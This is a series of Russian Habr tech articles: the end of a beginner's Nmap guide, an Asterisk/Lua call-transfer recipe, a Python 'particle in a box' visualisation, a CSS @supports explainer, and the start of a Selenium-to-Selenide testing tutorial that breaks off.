Nmap scan report for test.host.net (XX.XXX.XXX.XX)
Host is up (0.090s latency).
Not shown: 965 closed ports, 33 filtered ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 4.7p1 Debian 8ubuntu1.2 (protocol 2.0)
80/tcp open http Apache httpd 2.2.8 ((Ubuntu) PHP/5.2.4-2ubuntu5.10 with Suhosin-Patch)
Service Info: OS: Linux
Service detection performed. Please report any incorrect results at nmap.org/submit .
Nmap done: 1 IP address (1 host up) scanned in 11.43 seconds`
Как вы видите, Nmap может проанализировать пакеты и определить версию запущенного приложений на SSH и HTTP портах. Здесь вы можете увидеть что опрашиваемая система это Ubuntu с Apache 2.2.8 и OpenSSH 4.7p1. Эта информация может быть полезна по ряду причин. Nmap сканирование может идентифицировать систему под управлением устаревших сервисов которые могут быть уязвимы для известных эксплойтов.
#### Кто в моей сети?
Не знаете сколько онлайн узлов находятся в вашей сети? Попробуйте использовать nmap –sP который запустит ping сканирование указанной сети. Для примера, nmap –sP 10.0.0.0/24 сканирует 256 узлов от 10.0.0.0 до 10.0.0.255 проверит доступны ли они и доложит об этом. Так же вы можете использовать диапазон, например:
`nmap –sP 10.0.0.1-15`
#### Zenmap
Наконец, если все эти радости командной строки не для вас, nmap имеет GUI который вы можете использовать для построения и выполнения команд. Называется Zenmap. Он позволит выбрать цель, запустить сканирование, отобразить результаты, а также сохранить их и сравнить с другими.
GUI Zenmap это хороший способ познакомиться с Nmap, но лучше знать как использовать Nmap в командной строке, если вы собираетесь работать с ним часто.
В будущем руководстве мы более глубоко познакомимся с Nmap и конкретными задачами которые вы сможете решить.
Данный пост это вольный перевод статьи [Beginner's Guide to Nmap](http://www.linux.com/learn/tutorials/290879-beginners-guide-to-nmap). Спасибо за внимание. | https://habr.com/ru/post/88064/ | null | ru | null |
# Asterisk. Ненормальный перевод
В Asterisk 2 типа трансферов:
— слепой: после набора нужного сотрудника переводящий сразу отваливается.
— расширенный: возможность поговорить с тем, кому перевод предназначен, принять callback.
Мне понадобилось совместить простоту первого и функционал второго. Без AMI/ARI/AGI. Без костылей.
Велосипед под катом.
Сразу оговорюсь почему не использовал интерфейсы, которые уже есть: это не очень удобная штука, когда речь заходит о стеке Asterisk, например (да и вообще не люблю я их). Но это так. Лирическое отступление.
Поехали далее. Указатели (расшифровки, или как там еще можно сказать. Для простоты короче):
* Переводящий — тот кто переводит
* Принимающий — тот кто принимает перевод
Сценарий:
* проверить, а доступен ли вообще оператор которому должен прийти перевод звонка. Если недоступен — проиграть переводящему сообщение об этом и вернуть назад звонок
* если оператор доступен, положить трубку переводящему и отправить звонок на принимающего
* если принимающий занят (разговаривает например), предложить пользователю подождать или вернуться к переводящему
* если принимающий не отвечает, вернуться к переводящему\*
Инструменты Asterisk, которые мне понадобились: features.conf.
С него и начну. Так как у меня появляется собственное событие, которое должно быть произведено по нажатию на определенную клавишу (DTMF) во время разговора, то тут самое место использовать features.conf с его возможностью создавать свои события и определять на них свои действия
Мое событие называется customTransfer и выглядит так (описание того как создаются кастомные события есть в features.conf и на wiki.asterisk.org. Не буду расписывать):
```
customTransfer => #,self,GoSub(customTransfer,#,1),default
```
То есть по нажатию на # вызываем GoSub и уходим в контекст диалплана.
*Тут оговорюсь что использую lua, поэтому далее буду писать функции которые вызываю
Для тех кто не знает, то в lua контекст определяется в таблице extenions и может указывать на функцию которую надо выполнять:*
```
extensons={
["customTransfer"]={
["#"]=customTransfer --название функции
}
}
```
Функция выглядит так ( Комменты описывают, что к чему и рекомендованы к прочтению для понимания)
```
function customTransfer(context,extension)
--[[ считываю номер, на который делается перевод ]]
app.Read("TRANSF",nil,10,nil,1,5)
if channel.READSTATUS:get() == "OK" then
-- [[ Проверяю доступен ли абонент, на которого я делаю перевод. я использую другой сервер регистрации, но при использовании именно Asterisk как сервера регистрации наличие пользователя можно проверить так.]]
app.chanIsAvail('SIP/'..chan.TRANSF:get())
if channel.AVAILCHAN:get()~='' then
--[[ запоминаю кто сделал перевод (переменную канала CALLED_NUMBER я создал когда принимал входящий звонок (здесь ее нет). В ней лежит номер, на который поступил звонок (то есть перевод работает с тем кто принял звонок, а не с тем кто его инициировал)). Кладу во внутренюю БД Asterisk (можно redis, можно вообще все что угодно). Делаю это потому, что ChannelRedirect создаст новый канал, и уже не увидит переменных, созданных в этом канале. ]]
channel.DB('transferedBy/'..channel.BRIDGEPEER:get()):set(channel.CALLED_NUMBER:get())
-- [[перевожу на новый канал, который уже в свою очередь обработает соединение и отправит в нужный контекст, который в свою очередь вызовет необходимую точку. То есть, по сути я имитирую сценарий создаваемый функцией трансфер (кэп тут)]]
app.ChannelRedirect(channel.BRIDGEPEER:get(),'redirectSetup',channel.TRANSF:get(),1)
--[[ закрываю канал того, кто переводил, так как он мне уже не нужен (автоматически кладу трубку)]]
app.Hangup()
else
--[[ если считать номер не удалось, информирую об этом ПЕРЕВОДЯЩЕГО и соединяю переводящего и ожидающего пользователя. Переводящий может попробовать перевести еще раз]]
app.NoOp("user unavailible")
app.Playback(channel.UNAVAILIBLEONTRANSFER:get())
end
else
--[[ если пользователь недоступен, проигрываю сообщение ПЕРЕВОДЯЩЕМУ и соединяю переводящего и ожидающего пользователя. Переводящий может попробовать перевести еще раз]]
app.NoOp("user unavailible")
app.Playback(channel.UNAVAILIBLEONTRANSFER:get())
end
end
```
После того как канал был брошен в transfer и была выполнена проверка, его необходимо направить на принимающего пользователя.
В контексте 'redirectSetup' настраивается вход в данную функцию (аналогично предыдущему)
Сама функция выглядит следующим образом
```
function redirectSetup(context,extension)
app.NoOp("trying to redirect to "..extension)
--[[ Эта переменная канала мне понадобится чтобы отправить звонок обратно, если принимающий пользователь не возьмет трубку, например или будет занят. Я храню ее в переменной канала так как в моем случае она путешествует по функциям диалплана и в общем то переменные канала это удобный способ хранить глобальные для канала переменные. В общем то ничто не мешает сохранить ее в переменной lua]]
channel.__TRANSFEREDBY:set(channel.DB('transferedBy/'..channel.CHANNEL:get()):get())
--[[ В базе данных эта переменная больше не понадобится, поэтому мы можно ее удалить ]]
channel.DB_DELETE('transferedBy/'..channel.CHANNEL:get()):get()
--[[ Далее я отправляю вызов в основную функцию моего диалплана для обработки соединения, вместо нее вполне может быть просто app.Dial на необходимый extension ]]
main(context,extension)
end
```
последний шаг — это организация возврата звонка при неответе/занятости абонента или по какой либо еще причине.
Я думаю уже многие поняли что делать это нужно с помощью переменной TRANSFEREDBY
Свой диалплан полностью выкладывать не буду. Приведу пример маленькой функции, чтобы не вводить в заблуждение — назову ее main.
```
function main(context,extension)
app.Dial("SIP/"..extension)
if channel.DIALSTATUS:get()~="ANSWER" then
app.Playback("olala")
app.Dial("SIP/"..channel.TRANSFEREDBY:get())
end
end
```
Касательно возможностей данной организации: у меня диалплан в купе с данной функцией организован таким образом, что проверяет не только доступность локального номера, но и наличие мобильного номера, закрепленного за абонентом.
Если абонент занят, предлагает ему оставаться на линии дожидаясь ответа или выйти из режима ожидания и перезвонить обратно тому, кто перевел (некий микс очереди и IVR), предлагает абоненту вернуться к тому кто перевел, если звонок на сотовый отправил на голосовую почту (у многих операторов данная услуга ничем не отличается от поднятой трубки. Они просто шлют 200 ответ и потом несут ересь...). последнее организовано тоже через customFeature.
В общем-то все это достигается путем линейного программирования и включения головы.
Вроде все.
С наступающим тоагисчи
Адекватных клиентов, и хороших исполнителей вам. | https://habr.com/ru/post/318438/ | null | ru | null |
# Визуализация задачи квантовой физики «частица в коробке»
![](https://habrastorage.org/r/w780q1/getpro/habr/upload_files/736/c47/e2b/736c47e2b9103bb8f669ea37d702238b.jpg)В этой статье, переводом которой мы делимся к старту курса о [Fullstack-разработке](https://skillfactory.ru/python-fullstack-web-developer?utm_source=infopartners&utm_medium=habr&utm_campaign=habr_FPW&utm_term=regular&utm_content=260621) на Python, автор решил рассмотреть некоторые вопросы квантовой химии уровня колледжа для выведения электронных орбиталей. В чём интерес? Волновые функции и вероятности электронов будут визуализироваться при помощи Python.
---
### Уравнение Шрёдингера
В 1926 году Эрвин Шрёдингер вывел знаменитое волновое уравнение, связывающее энергию системы с её волновыми свойствами. Его применение к атому водорода довольно сложно, поэтому сначала воспользуемся волновым уравнением, чтобы решить задачу о «частице в коробке». Выраженное в одномерном пространстве волновое уравнение Шрёдингера имеет вид:
![](https://habrastorage.org/r/w1560/getpro/habr/upload_files/d1c/df3/00d/d1cdf300dee4e29fa782f723e943b74e.png)### Визуализация частицы в коробке
Теперь для упрощения мы предположим о частице в коробке, что:
![Частица в коробке](https://habrastorage.org/r/w1560/getpro/habr/upload_files/8d9/6cc/bd5/8d96ccbd565fb3848adc378541fb7ffd.png "Частица в коробке")Частица в коробкеЗадача о «частице в коробке» не соответствует ни одной реальной химической системе. Её полезность в контексте ситуации заключается в иллюстрировании нескольких квантово-механических особенностей. Потенциальная энергия на барьере по условию бесконечна (т. е. частица не может вырваться), а потенциальная энергия внутри коробки равна 0. В этих условиях классическая механика предсказывает, что частица имеет равную вероятность оказаться в любой точке коробки, а кинетическая энергия частицы может оказаться любой. Принимая во внимание это предположение, мы получаем различные уравнения энергии частицы у барьера и внутри коробки. На барьере V бесконечно, и, следовательно, частица не существует:
![](https://habrastorage.org/r/w1560/getpro/habr/upload_files/359/05d/d24/35905dd24643d580ae286da467faf6e1.png)Внутри коробки V равно нулю, и, следовательно, волна может иметь любое конечное значение:
![](https://habrastorage.org/r/w1560/getpro/habr/upload_files/6d8/67e/b0a/6d867eb0ae8399ca4b7833ccda2a0ecd.png)Уравнение условий внутри коробки можно переписать так:
![](https://habrastorage.org/r/w1560/getpro/habr/upload_files/94e/6f4/2d7/94e6f42d7ee5a966536491dc67024103.png)Выше видно, что волновая функция окажется такой, что при двойном дифференцировании получится та же функция, умноженная на E. Таким поведением обладает функция синуса:
![](https://habrastorage.org/r/w1560/getpro/habr/upload_files/5e0/b2f/f6f/5e0b2ff6fc95eb23c48b5ba49db4dfa3.png)![](https://habrastorage.org/r/w1560/getpro/habr/upload_files/4e1/8d5/3e6/4e18d53e6307ab34d153810e7b04c10d.png)
![](https://habrastorage.org/r/w1560/getpro/habr/upload_files/c67/387/fb4/c67387fb498040f3ea06230c98b2e149.png)Теперь нужно вычислить значения констант α и A. В случае воспользуемся волновыми уравнениями на барьерах, где волновые функции равны 0.
![](https://habrastorage.org/r/w1560/getpro/habr/upload_files/647/1b7/2ea/6471b72ea84da1c0c7a54064ce7a39f0.png)![](https://habrastorage.org/r/w1560/getpro/habr/upload_files/53f/0c4/a91/53f0c4a9183c8475f4d2a1728973048d.png)Подставляем значение для α:
![](https://habrastorage.org/r/w1560/getpro/habr/upload_files/326/9d4/a39/3269d4a39e0b2dc274df162587a6191d.png)
![](https://habrastorage.org/r/w1560/getpro/habr/upload_files/5fa/d3a/ba4/5fad3aba4ab48aaa74054d0c536c050a.png)Требуя нормализации волновой функции можно определить значение A. Это утверждение верно потому, что частица должна существовать где-то в коробке. Следовательно, сумма вероятностей нахождения частицы в коробке равна 1:
![](https://habrastorage.org/r/w1560/getpro/habr/upload_files/36d/2cd/6e3/36d2cd6e3e0913e1b49add1aece3160e.png)
![](https://habrastorage.org/r/w1560/getpro/habr/upload_files/0e7/eb4/679/0e7eb4679345fcd1d2b072684b7ad53b.png)Подставляя значения, получаем окончательные уравнения волны и энергии:
![](https://habrastorage.org/r/w1560/getpro/habr/upload_files/f16/57d/03d/f1657d03da784abb9aa6cc9bc7a48f8c.png)
![](https://habrastorage.org/r/w1560/getpro/habr/upload_files/2ac/8e7/ed8/2ac8e7ed8e786cfb88f209817fcca9bb.png)Визуализируем энергию и волновые функций при помощи Python:
```
import matplotlib.pyplot as plt
import numpy as np
#Constants
h = 6.626e-34
m = 9.11e-31
#Values for L and x
x_list = np.linspace(0,1,100)
L = 1
def psi(n,L,x):
return np.sqrt(2/L)*np.sin(n*np.pi*x/L)
def psi_2(n,L,x):
return np.square(psi(n,L,x))
plt.figure(figsize=(15,10))
plt.suptitle("Wave Functions", fontsize=18)
for n in range(1,4):
#Empty lists for energy and psi wave
psi_2_list = []
psi_list = []
for x in x_list:
psi_2_list.append(psi_2(n,L,x))
psi_list.append(psi(n,L,x))
plt.subplot(3,2,2*n-1)
plt.plot(x_list, psi_list)
plt.xlabel("L", fontsize=13)
plt.ylabel("Ψ", fontsize=13)
plt.xticks(np.arange(0, 1, step=0.5))
plt.title("n="+str(n), fontsize=16)
plt.grid()
plt.subplot(3,2,2*n)
plt.plot(x_list, psi_2_list)
plt.xlabel("L", fontsize=13)
plt.ylabel("Ψ*Ψ", fontsize=13)
plt.xticks(np.arange(0, 1, step=0.5))
plt.title("n="+str(n), fontsize=16)
plt.grid()
plt.tight_layout(rect=[0, 0.03, 1, 0.95])
```
![](https://habrastorage.org/r/w1560/getpro/habr/upload_files/423/8e4/5ba/4238e45ba3d903f8c0dabde58e8a8512.png)![](https://habrastorage.org/r/w1560/getpro/habr/upload_files/ec8/5f2/e33/ec85f2e330557f96f6dc959dbc4e5256.png)Обратите внимание, что есть области, где одновременно Ψи Ψ **\*** Ψ равны нулю. Они известны как узлы. Уровни энергии орбиталей не являются непрерывными. Они существуют на разных уровнях, что демонстрируется их расположением. Кроме того, с увеличением значения n плотность волны внутри коробки также увеличивается.
### Визуализация орбиталей
Теперь, чтобы получить волновое уравнение относительно квантовых чисел, мы должны привести его в следующий трёхмерный формат:
![](https://habrastorage.org/r/w1560/getpro/habr/upload_files/962/55b/1ef/96255b1efd4b521e94236fea7b684fd1.png)Разделение переменных зависит от типа атома, и для данной статьи оно слишком сложно. Вместо этого просто запишем решение непосредственно для построения графика. Далее воспользуемся функциями R и Y для атома водорода, не выводя их. Сначала рассмотрим орбиталь 1s:
![](https://habrastorage.org/r/w1560/getpro/habr/upload_files/f6c/a3a/e83/f6ca3ae8338a3cb0d08c88242f18b798.png)Волновая функция 1s-орбитали показывает, что вероятность появления электрона по мере удаления от ядра экспоненциально уменьшается. Она также демонстрирует сферическую форму орбитали.
```
import matplotlib.pyplot as plt
import numpy as np
#Probability of 1s
def prob_1s(x,y,z):
r=np.sqrt(np.square(x)+np.square(y)+np.square(z))
#Remember.. probability is psi squared!
return np.square(np.exp(-r)/np.sqrt(np.pi))
#Random coordinates
x=np.linspace(0,1,30)
y=np.linspace(0,1,30)
z=np.linspace(0,1,30)
elements = []
probability = []
for ix in x:
for iy in y:
for iz in z:
#Serialize into 1D object
elements.append(str((ix,iy,iz)))
probability.append(prob_1s(ix,iy,iz))
#Ensure sum of probability is 1
probability = probability/sum(probability)
#Getting electron coordinates based on probabiliy
coord = np.random.choice(elements, size=100000, replace=True, p=probability)
elem_mat = [i.split(',') for i in coord]
elem_mat = np.matrix(elem_mat)
x_coords = [float(i.item()[1:]) for i in elem_mat[:,0]]
y_coords = [float(i.item()) for i in elem_mat[:,1]]
z_coords = [float(i.item()[0:-1]) for i in elem_mat[:,2]]
#Plotting
fig = plt.figure(figsize=(10,10))
ax = fig.add_subplot(111, projection='3d')
ax.scatter(x_coords, y_coords, z_coords, alpha=0.05, s=2)
ax.set_title("Hydrogen 1s density")
plt.show()
```
![](https://habrastorage.org/r/w1560/getpro/habr/upload_files/e57/9b2/e7a/e579b2e7a4b0b2bb1640869bd2d2299a.png)Разглядеть её на графике электронной плотности выше немного затруднительно, однако сферу в целом увидеть возможно. Плотность уменьшается по мере удаления от центра. Как правило, точкой отсчёта является момент, когда вероятность появления электрона составляет 99 %. Такие же графики плотности возможно получить и для других орбиталей: s, p, d и f.
Статья показывает, как Python может применяться в науке и как визуализация тех или иных данных помогает делать выводы, а значит получать знания. Если вы хотите углубиться в вероятности, анализ данных, но применять его в прикладных задачах, вы можете присмотреться к специализации [Аналитик данных](https://skillfactory.ru/analytics?utm_source=infopartners&utm_medium=habr&utm_campaign=habr_SDA&utm_term=regular&utm_content=260621), а если вас интересуют возможности и гибкость Python, то можете обратить внимание на курс о [Fullstack разработке на Python](https://skillfactory.ru/python-fullstack-web-developer?utm_source=infopartners&utm_medium=habr&utm_campaign=habr_FPW&utm_term=regular&utm_content=260621).
![](https://habrastorage.org/r/w1560/getpro/habr/upload_files/9f2/681/a01/9f2681a01aabb7898abb0dad07253dc1.png)[Узнайте](https://skillfactory.ru/courses/?utm_source=infopartners&utm_medium=habr&utm_campaign=habr_ALLCOURSES&utm_term=regular&utm_content=260621), как прокачаться и в других специальностях или освоить их с нуля:
* [Профессия Data Scientist](https://skillfactory.ru/dstpro?utm_source=infopartners&utm_medium=habr&utm_campaign=habr_DSPR&utm_term=regular&utm_content=260621)
* [Профессия Data Analyst](https://skillfactory.ru/dataanalystpro?utm_source=infopartners&utm_medium=habr&utm_campaign=habr_DAPR&utm_term=regular&utm_content=260621)
* [Курс по Data Engineering](https://skillfactory.ru/dataengineer?utm_source=infopartners&utm_medium=habr&utm_campaign=habr_DEA&utm_term=regular&utm_content=150621)
Другие профессии и курсы**ПРОФЕССИИ**
* [Профессия Fullstack-разработчик на Python](https://skillfactory.ru/python-fullstack-web-developer?utm_source=infopartners&utm_medium=habr&utm_campaign=habr_FPW&utm_term=regular&utm_content=260621)
* [Профессия Java-разработчик](https://skillfactory.ru/java?utm_source=infopartners&utm_medium=habr&utm_campaign=habr_JAVA&utm_term=regular&utm_content=260621)
* [Профессия QA-инженер на JAVA](https://skillfactory.ru/java-qa-engineer?utm_source=infopartners&utm_medium=habr&utm_campaign=habr_QAJA&utm_term=regular&utm_content=260621)
* [Профессия Frontend-разработчик](https://skillfactory.ru/frontend?utm_source=infopartners&utm_medium=habr&utm_campaign=habr_FR&utm_term=regular&utm_content=260621)
* [Профессия Этичный хакер](https://skillfactory.ru/cybersecurity?utm_source=infopartners&utm_medium=habr&utm_campaign=habr_HACKER&utm_term=regular&utm_content=260621)
* [Профессия C++ разработчик](https://skillfactory.ru/cplus?utm_source=infopartners&utm_medium=habr&utm_campaign=habr_CPLUS&utm_term=regular&utm_content=260621)
* [Профессия Разработчик игр на Unity](https://skillfactory.ru/game-dev?utm_source=infopartners&utm_medium=habr&utm_campaign=habr_GAMEDEV&utm_term=regular&utm_content=260621)
* [Профессия Веб-разработчик](https://skillfactory.ru/webdev?utm_source=infopartners&utm_medium=habr&utm_campaign=habr_WEBDEV&utm_term=regular&utm_content=260621)
* [Профессия iOS-разработчик с нуля](https://skillfactory.ru/iosdev?utm_source=infopartners&utm_medium=habr&utm_campaign=habr_IOSDEV&utm_term=regular&utm_content=260621)
* [Профессия Android-разработчик с нуля](https://skillfactory.ru/android?utm_source=infopartners&utm_medium=habr&utm_campaign=habr_ANDR&utm_term=regular&utm_content=260621)
**КУРСЫ**
* [Курс по Machine Learning](https://skillfactory.ru/ml-programma-machine-learning-online?utm_source=infopartners&utm_medium=habr&utm_campaign=habr_ML&utm_term=regular&utm_content=260621)
* [Курс «Machine Learning и Deep Learning»](https://skillfactory.ru/ml-and-dl?utm_source=infopartners&utm_medium=habr&utm_campaign=habr_MLDL&utm_term=regular&utm_content=260621)
* [Курс «Математика для Data Science»](https://skillfactory.ru/math-stat-for-ds#syllabus?utm_source=infopartners&utm_medium=habr&utm_campaign=habr_MAT&utm_term=regular&utm_content=260621)
* [Курс «Математика и Machine Learning для Data Science»](https://skillfactory.ru/math_and_ml?utm_source=infopartners&utm_medium=habr&utm_campaign=habr_MATML&utm_term=regular&utm_content=260621)
* [Курс «Python для веб-разработки»](https://skillfactory.ru/python-for-web-developers?utm_source=infopartners&utm_medium=habr&utm_campaign=habr_PWS&utm_term=regular&utm_content=260621)
* [Курс «Алгоритмы и структуры данных»](https://skillfactory.ru/algo?utm_source=infopartners&utm_medium=habr&utm_campaign=habr_algo&utm_term=regular&utm_content=260621)
* [Курс по аналитике данных](https://skillfactory.ru/analytics?utm_source=infopartners&utm_medium=habr&utm_campaign=habr_SDA&utm_term=regular&utm_content=260621)
* [Курс по DevOps](https://skillfactory.ru/devops?utm_source=infopartners&utm_medium=habr&utm_campaign=habr_DEVOPS&utm_term=regular&utm_content=260621) | https://habr.com/ru/post/564822/ | null | ru | null |
# CSS Conditional Rules
**CSS Conditional Rules**, как следует из названия, являются условными конструкциями, которые можно применять в самом CSS. Они реализуют проверку поддержки свойств текущим браузером с возможностью группировать условные выражения с помощью логических операторов `and`, `or` и `not`. В этом посте хотелось бы рассказать, кроме прочего, о синтаксисе этого модуля CSS3 и текущей поддержке его браузерами.
#### Что нового?
Итак, в чем качественное отличие [CSS Conditional Rules](http://dev.w3.org/csswg/css3-conditional/#at-supports) от, например, условных комментариев? Я бы выделил два главных:
* это проверка поддержки указанных свойств браузером, а не проверка имени и версии браузера.
* это реализация условных конструкций прямо в CSS, таким образом, мы можем управлять «потоком применения» свойств CSS, а не выбираем в HTML-коде какие заранее подготовленные для разных браузеров файлы стилей подключить; проще говоря, если нам нужно реализовать свойство, неподдерживаемое всеми необходимыми браузерами, у нас появляется гибкий инструмент для degradation.
#### А на практике?
Синтаксис прост. Например, у нас есть свойство `font-size`, в котором мы хотим использовать функцию `calc()` для вычисления размера шрифта, а в качестве аргумента этой функции мы хотим передать выражение, которое вычисляет размер шрифта от размера шрифта корневого элемента `body`. Но сколько браузеров сегодня это поддерживает? Маловато. А что делать с остальными? С использованием условий CSS3 вопрос получит такой ответ:
```
body {
font-size: 14px;
}
@supports (font-size: calc(1rem + 12px)) {
h1 {
font-size: calc(1rem + 12px);
}
}
@supports not (font-size: calc(1rem + 12px)) {
h1 {
font-size: 26px;
}
}
```
Пример избыточен, но зато видна логика. Правило `@supports` предваряет условную конструкцию. Условным выражением считается то, что находится в круглых скобках, при этом круглые скобки всегда обязательны. Мы можем комбинировать условные выражения с помощью операторов `and` и `or`, а также отрицать выражения с помощью `not`.
При этом для избежания ситуаций, когда составленное вами условие можно трактовать не единственным способом, необходимо группировать условия с помощью круглых скобок, это понятнее на примере. Рассмотрим пример из спецификации:
```
/* Это неправильный код! */
@supports (transition-property: color) or
(animation-name: foo) and
(transform: rotate(10deg)) {
}
```
Казалось бы, синтаксис верный, чего же боле? Проблема в том, что эту конструкцию можно трактовать по разному. Что мы имели ввиду: нам нужна поддержка [(`transition` или `animation`) и (`transform`)] или [(`transition`) или (`animation` и `transform`)]? Неизвестно. Именно поэтому мы должны использовать круглые скобки так же, как я сделал это только что, описывая возможные варианты. Нижеследующие варианты того же кода будут правильными.
```
@supports ((transition-property: color) or
(animation-name: foo)) and
(transform: rotate(10deg)) {
}
@supports (transition-property: color) or
((animation-name: foo) and
(transform: rotate(10deg))) {
}
```
#### Ну и когда?
А теперь о статусе поддержки на данный момент. Сама спецификация находится в статусе рабочего черновика. В стабильных версиях сегодня это не поддерживает никто. 3 августа поддержка `@supports` появилась в Firefox 17.0a1, то есть сейчас она есть в ветке Firefox Aurora и где-нибудь в октябре будет в Beta. Про поддержку другими браузерами я пока ничего не слышал (быть может, кто-то из хабражителей подскажет). В самом же Firefox 17 эта опция может быть отключенной в настройках, если разработчики решат, что спецификация еще недостаточно стабильна.
**UPD:** в бета-версии Opera 12.10 [появилась](http://habrahabr.ru/company/opera/blog/154227/) поддержка @supports. | https://habr.com/ru/post/154123/ | null | ru | null |
# Автоматизация тестирования с использованием Selenide через Selenoid в Docker контейнере
Данная статья будет полезна начинающим QA специалистам, а также тем, кто интересуется особенностями и возможностями таких популярных фреймворков тестирования, как Selenide и Selenoid.
Здесь мы рассмотрим некий базовый проект на Selenium. Увидим, как подключить **Selenium** и **TestNG** к проекту, пример Page Object с описанием элементов страницы и используемых методов.
Далее, знакомство с **Selenide**: рассмотрим сам фреймворк, его основные возможности и преимущества, добавление Selenide в тестовый проект. Рассмотрим работу с элементами, проверки и ожидания, доступные в Selenide.
И наконец, подключим к своему проекту фреймворк **Selenoid** для запуска тестов в **Docker** контейнере и вне его.
![](https://habrastorage.org/r/w780q1/webt/fq/0u/6m/fq0u6mqwmrsun_01cyazmpwa6yc.jpeg)
*\* Статья подготовлена на основе доклада Никиты Калиниченко — Senior QA специалиста компании IntexSoft.
В статье присутствуют ссылки на внешние материалы.*
### 1. Selenium + TestNG
Мы рассматриваем проект на сборщике **Maven**, поэтому описание структуры проекта мы можем найти в файле *pom.xml*. Для того, чтобы использовать **Selenium** и **TestNG**, в наш файл *pom.xml* должны быть добавлены соответствующие зависимости. Их вы можете наблюдать между тегами *dependencies* ниже:
```
xml version="1.0" encoding="UTF-8"?
4.0.0
test
test
1.0-SNAPSHOT
org.seleniumhq.selenium
selenium-java
3.141.59
org.testng
testng
6.14.3
test
```
Далее мы рассмотрим пример Page Object’а:
```
import...
public class SignUpPage {
private WebDriver driver;
public SignUpPage(WebDriver driver) { this.driver = driver; }
private By emailField = cssSelector("#register-email");
private By confirmEmailField = cssSelector("#register-confirm-email");
private By passwordField = cssSelector("#register-password");
private By displayNameField = cssSelector("#register-displayname");
private By monthDropDown = cssSelector("#register-dob-month");
private By dayField = cssSelector("#register-dob-day");
private By yearField = cssSelector("#register-dob-year");
private By shareCheckbox = cssSelector("#register-thirdparty");
private By registerButton = cssSelector("#register-button-email-submit");
//Метод для заполнения поля email
public SignUpPage typeEmail(String email) {
//Находим поле и вводим в него текст
driver.findElement(emailField).sendKeys(email);
return this;
}
//Метод для заполнения поля Confirm email
public SignUpPage typeConfirmEmailField(String email) {...}
//Метод для заполнения поля password
public SignUpPage typePassword(String password) {...}
//Метод для заполнения поля ввода имени
public SignUpPage typeName(String name) {...}
//Метод выбора месяца
public SignUpPage setMonth(String month) {...}
//Метод для заполнения поля Day
public SignUpPage typeDay(String day) {...}
//Метод для заполнения поля Year
public SignUpPage typeYear(String year) {...}
```
Как мы видим, в верхней части java-файла находится описание переменных с локаторами для элементов страницы регистрации. Ниже секции переменных расположены методы непосредственно для взаимодействия с элементами нашей страницы.
Откроем сами тесты:
```
//Добавляем переменную страницы регистрации
private WebDriver driver;
//Добавляем переменные драйвера
private SignUpPage page;
@BeforeMethod
public void setUp() {
//Указываем путь где хранится geckodriver
System.setProperty("webdriver.gecko.driver", "C:\\Users\\Nikita\\IdeaProjects\\autotests_examples\\drivers\\geckodriver.exe");
//Создаем новый драйвер
driver = new FirefoxDriver();
//Добавляем неявное ожидание, используемое при поиске любого из элементов
driver.manage().timeouts().impicitlyWait(10, TimeUnit.SECONDS);
//Открываем url в браузере с помощью метода webdrivera get
driver.get("https://www.spotify.com/us/signup/");
}
```
Как видим, в аннотации **BeforeMethod** мы описываем то, что у нас будет происходить перед каждым методом.
```
@Test
public void typeInvalidYear() {
//Создаём объект класса страницы регистрации и передаём в конструктор класса driver
page = new SignUpPage(driver);
//Устанавливаем месяц
page.setMonth("December");
//Указываем день
.typeDay("20")
//Указываем год
.typeYear("85")
//Жмём чекбокс
.setShare(true);
//Проверяем видимость ошибки, ошибка должна быть видна;
Assert.assertTrue(page.isErrorVisible("Please enter a valid year."));
```
В аннотации **Test** приведён код тестовых методов.
```
@AfterMethod
//Метод, закрывающий браузер
public void tearDown() {
driver.quit();
}
```
А в аннотации **AfterMethod** содержится код, который должен выполниться после каждого метода.
При запуске тестов с использованием **Selenium** будет происходить следующее:
1. Открытие отдельного окна браузера
2. Переход по url
3. Выполнение кода тестов
4. Закрытие сессии и окна браузера после каждого теста
При выполнении следующего теста будет происходить то же самое. Следует упомянуть, что выполнение тестов на Selenium – довольно ресурсозатратный процесс.
### 2. Selenide: что, где, и как
Что же такое сам **Selenide**, каковы его основные возможности и преимущества?
Если кратко, [Selenide](https://selenide.org/index.html) – это обёртка вокруг Selenium WebDriver, позволяющая быстро и просто его использовать при написании тестов. По своей сути, Selenide – это инструмент для автоматизации действия пользователя в браузере, ориентированный на удобство и легкость реализации бизнес-логики в автотестах на языке пользователя, не отвлекаясь на технические детали работы с «драйвером браузера». Для примера, нам не нужно акцентировать внимание на работе с ожиданиями элементов в процессе автоматизации тестирования динамических веб-приложений, а также на реализации высокоуровневых действий над элементами.
Ключевые и главные преимущества Selenide:
* Лаконичный синтаксис в духе jQuery
* Автоматическое решение большинства проблем с Ajax, ожиданиями и таймаутами
* Управление жизнедеятельностью браузера
* Автоматическое создание скриншотов
Цель Selenide – сосредоточиться на бизнес-логике тестов и не “растрачивать” ментальную энергию на технические детали.
#### Перевод проекта на Selenide
Для того, чтобы подключить Selenide и начать работу с ним, в файле *pom.xml* между тегами *dependencies* мы указываем зависимость от Selenide. Так как зависимость Selenium нам больше не нужна, мы попросту ее удаляем.
```
com.codeborne
selenide
5.2.8
```
Далее, для того, чтобы подключить и начать использовать Selenide в своем проекте, нам необходимо сделать несколько импортов. Примеры импортов:
*import static com.codeborne.selenide.Selenide.\*;*
*import static com.codeborne.selenide.Selectors.\*;*
*import static com.codeborne.selenide.Condition.\*;*
*import static com.codeborne.selenide.CollectionCondition.\*;*
Подробнее о том, как подключить Selenide, используя остальные сборщики проектов, можно прочесть в разделе [Quick Start](https://selenide.org/quick-start.html) документации Selenide.
#### Работа с элементами, проверки и ожидания
Перейдем к рассмотрению работы Selenide с элементами и познакомимся с некоторыми проверками и ожиданиями, доступными нам в Selenide.
```
import...
public class SignUpTest {
//Добавляем переменную страницы регистрации
private SignUpPage page;
@BeforeClass
public static void setUp() {
//Property baseurl, которое хранится в классе Configuration и будет являться базовым url
baseurl = "https://www.spotify.com";
//Property browser, которое находится в классе Configuration и указывает на каком браузере будет выполнен запуск тестов
browser = "chrome";
}
```
В файле с тестами мы заменяем аннотацию **BeforeMethod** на аннотацию **BeforeClass**, так как она нам больше не нужна, Selenide нас избавляет от нужды писать Before и After методы – функцию **AfterMethod** на себя берет сам Selenide. У нас остаётся только аннотация **BeforeClass** чтобы прописать пару *properties*.
